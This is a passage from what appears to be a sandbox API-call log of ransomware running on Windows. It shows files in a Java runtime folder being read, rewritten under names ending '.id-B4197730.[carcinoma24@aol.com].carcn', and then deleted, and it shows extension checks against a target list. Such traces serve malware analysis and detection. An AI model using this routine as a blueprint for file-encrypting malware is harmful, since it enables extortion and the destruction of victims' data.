liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.598] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.598] GetLastError () returned 0x0 [0263.598] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x44661, lpOverlapped=0x0) returned 1 [0263.697] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x44670, lpOverlapped=0x0) returned 1 [0263.703] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0263.703] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xfa, lpOverlapped=0x0) returned 1 [0263.703] SetEndOfFile (hFile=0x4b0) returned 1 [0263.703] CloseHandle (hObject=0x4b0) returned 1 [0263.711] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.711] SetEndOfFile (hFile=0x558) returned 1 [0263.720] CloseHandle (hObject=0x558) returned 1 [0263.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.720] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0263.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.721] lstrlenW (lpString=".doc") returned 4 [0263.721] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.721] lstrlenW (lpString=".docx") returned 5 [0263.721] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0263.721] lstrlenW (lpString=".pdf") returned 4 [0263.721] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString=".xls") returned 4 [0263.722] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString=".xlsx") returned 5 [0263.722] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0263.722] lstrlenW (lpString=".ppt") returned 4 [0263.722] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.722] lstrlenW (lpString=".zip") returned 4 [0263.722] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString=".rar") returned 4 [0263.722] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString=".bz2") returned 4 [0263.722] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.722] lstrlenW (lpString=".7z") returned 3 [0263.722] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.722] lstrlenW (lpString=".dbf") returned 4 [0263.722] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.722] lstrlenW (lpString=".1cd") returned 4 [0263.722] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.722] lstrlenW (lpString=".jpg") returned 4 [0263.722] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.723] lstrlenW (lpString=".doc") returned 4 [0263.723] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.723] lstrlenW (lpString=".docx") returned 5 [0263.723] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0263.723] lstrlenW (lpString=".pdf") returned 4 [0263.723] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.723] lstrlenW (lpString=".xls") returned 4 [0263.723] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.723] lstrlenW (lpString=".xlsx") returned 5 [0263.723] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0263.723] lstrlenW (lpString=".ppt") returned 4 [0263.723] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.723] lstrlenW (lpString=".zip") returned 4 [0263.723] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.723] lstrlenW (lpString=".rar") returned 4 [0263.723] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.723] lstrlenW (lpString=".bz2") returned 4 [0263.723] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.723] lstrlenW (lpString=".7z") returned 3 [0263.723] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.723] lstrlenW (lpString=".dbf") returned 4 [0263.723] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.723] lstrlenW (lpString=".1cd") returned 4 [0263.724] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0263.724] lstrlenW (lpString=".jpg") returned 4 [0263.724] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.724] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.724] lstrlenW (lpString="sunmscapi.jar") returned 13 [0263.724] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.724] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=32699) returned 1 [0263.725] CloseHandle (hObject=0x558) returned 1 [0263.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0263.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.725] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.725] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.726] GetLastError () returned 0x0 [0263.726] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0263.795] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0263.824] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0263.824] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xee, lpOverlapped=0x0) returned 1 [0263.825] SetEndOfFile (hFile=0x4b0) returned 1 [0263.825] CloseHandle (hObject=0x4b0) returned 1 [0263.833] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.833] SetEndOfFile (hFile=0x558) returned 1 [0263.880] CloseHandle (hObject=0x558) returned 1 [0263.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0263.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.906] lstrlenW (lpString=".doc") returned 4 [0263.906] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.907] lstrlenW (lpString=".docx") returned 5 [0263.907] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0263.907] lstrlenW (lpString=".pdf") returned 4 [0263.907] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.907] lstrlenW (lpString=".xls") returned 4 [0263.907] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.907] lstrlenW (lpString=".xlsx") returned 5 [0263.907] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0263.907] lstrlenW (lpString=".ppt") returned 4 [0263.907] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.907] lstrlenW (lpString=".zip") returned 4 [0263.907] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.907] lstrlenW (lpString=".rar") returned 4 [0263.907] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.907] lstrlenW (lpString=".bz2") returned 4 [0263.907] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.907] lstrlenW (lpString=".7z") returned 3 [0263.907] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.907] lstrlenW (lpString=".dbf") returned 4 [0263.907] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.907] lstrlenW (lpString=".1cd") returned 4 [0263.907] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.907] lstrlenW (lpString=".jpg") returned 4 [0263.908] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.908] lstrlenW (lpString=".doc") returned 4 [0263.908] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.908] lstrlenW (lpString=".docx") returned 5 [0263.908] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0263.908] lstrlenW (lpString=".pdf") returned 4 [0263.908] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString=".xls") returned 4 [0263.908] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString=".xlsx") returned 5 [0263.908] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0263.908] lstrlenW (lpString=".ppt") returned 4 [0263.908] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.908] lstrlenW (lpString=".zip") returned 4 [0263.908] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString=".rar") returned 4 [0263.908] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.908] lstrlenW (lpString=".bz2") returned 4 [0263.908] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.909] lstrlenW (lpString=".7z") returned 3 [0263.909] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.909] lstrlenW (lpString=".dbf") returned 4 [0263.909] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.909] lstrlenW (lpString=".1cd") returned 4 [0263.909] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0263.909] lstrlenW (lpString=".jpg") returned 4 [0263.909] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.909] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.909] lstrlenW (lpString="zipfs.jar") returned 9 [0263.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0263.910] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=68924) returned 1 [0263.910] CloseHandle (hObject=0x55c) returned 1 [0263.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0263.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.910] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0263.911] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.911] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0263.911] GetLastError () returned 0x0 [0263.911] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0263.915] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10d40, lpOverlapped=0x0) returned 1 [0263.918] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0263.918] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0263.918] SetEndOfFile (hFile=0x530) returned 1 [0263.918] CloseHandle (hObject=0x530) returned 1 [0263.921] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.921] SetEndOfFile (hFile=0x55c) returned 1 [0263.925] CloseHandle (hObject=0x55c) returned 1 [0263.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.926] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0263.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.926] lstrlenW (lpString=".doc") returned 4 [0263.926] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.927] lstrlenW (lpString=".docx") returned 5 [0263.927] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.927] lstrlenW (lpString=".pdf") returned 4 [0263.927] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString=".xls") returned 4 [0263.927] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString=".xlsx") returned 5 [0263.927] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.927] lstrlenW (lpString=".ppt") returned 4 [0263.927] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString=".zip") returned 4 [0263.927] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString=".rar") returned 4 [0263.927] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString=".bz2") returned 4 [0263.927] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.927] lstrlenW (lpString=".7z") returned 3 [0263.927] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString=".dbf") returned 4 [0263.927] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString=".1cd") returned 4 [0263.927] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString=".jpg") returned 4 [0263.927] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.927] lstrlenW (lpString=".doc") returned 4 [0263.927] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.928] lstrlenW (lpString=".docx") returned 5 [0263.928] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.928] lstrlenW (lpString=".pdf") returned 4 [0263.928] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.928] lstrlenW (lpString=".xls") returned 4 [0263.928] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.928] lstrlenW (lpString=".xlsx") returned 5 [0263.928] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.928] lstrlenW (lpString=".ppt") returned 4 [0263.928] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.928] lstrlenW (lpString=".zip") returned 4 [0263.928] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.928] lstrlenW (lpString=".rar") returned 4 [0263.928] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.928] lstrlenW (lpString=".bz2") returned 4 [0263.928] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.928] lstrlenW (lpString=".7z") returned 3 [0263.928] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.928] lstrlenW (lpString=".dbf") returned 4 [0263.928] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.928] lstrlenW (lpString=".1cd") returned 4 [0263.928] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0263.928] lstrlenW (lpString=".jpg") returned 4 [0263.928] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.928] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0263.928] lstrlenW (lpString="flavormap.properties") returned 20 [0263.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0263.929] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3928) returned 1 [0263.929] CloseHandle (hObject=0x55c) returned 1 [0263.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0263.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0263.930] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.930] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0263.930] GetLastError () returned 0x0 [0263.931] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xf58, lpOverlapped=0x0) returned 1 [0264.156] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, 